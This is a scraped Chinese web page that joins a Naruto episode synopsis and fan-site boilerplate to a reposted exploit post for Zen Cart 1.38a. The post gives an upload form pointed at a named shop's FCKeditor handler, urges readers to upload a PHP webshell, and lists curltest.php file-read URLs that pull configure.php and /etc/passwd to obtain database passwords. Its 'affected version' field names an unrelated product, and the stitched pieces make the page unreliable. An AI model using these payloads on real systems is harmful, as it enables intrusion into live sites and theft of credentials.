鸣人凡事都针对优等生佐助,但每次都成为大家的笑柄;伊鲁卡因为十六年前九尾袭击时失去双亲的打击,没办法作为一个教师和鸣人接触,没办法劝诫鸣人愈发升级的恶作剧;终于鸣人宣称要离开学校,再也不来学校了,失去了自信,请求三代目火影允许自己辞去班主任之职的伊鲁卡,但三代目火影却对伊鲁卡冷言相加...




火影忍者 火影忍者 中文网 :http://naruto-cn.1ve.info

我们一直在努力, 用心做好您心目中最好的 : 火影忍者Naruto中文网
naruto, 在线动漫, 鸣人, 佐助, 火影忍者, 动漫视频,在线观看,在线视频 

[bug]zen cart 1.38a 多处漏洞0day 及本地文件泄露

| | 0 评论 |

发布日期:2010-08.30
发布作者:admind
影响版本:Atomic Photo Album 1.0.2
官方地址:www.zen-cart.cn/
漏洞类型:上传漏洞、本地包含
漏洞描述:zen cart 1.38a以下版本存在Fckeditor上传漏洞与curltest.php页存本在文件包含漏洞。

漏洞测试1:

 <form id="frmUpload" enctype="multipart/form-data" action="http://aus-snowboots.com/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">
Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
 

大家试下威力。 直接上传PHP WEBSHELL 到IMAGES

 

漏洞测试2:Zen Cart 本地文件泄露

得到网页所在路径
/extras/ipn_test_return.php
得到网站配置信息
/extras/curltest.php?url=file:///网站地址/includes/configure.php
读取linux服务器passwd
/extras/curltest.php?url=file:///etc/passwd

拿到MYSQL密码,但是数据库只允许本地链接。。。 

 


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]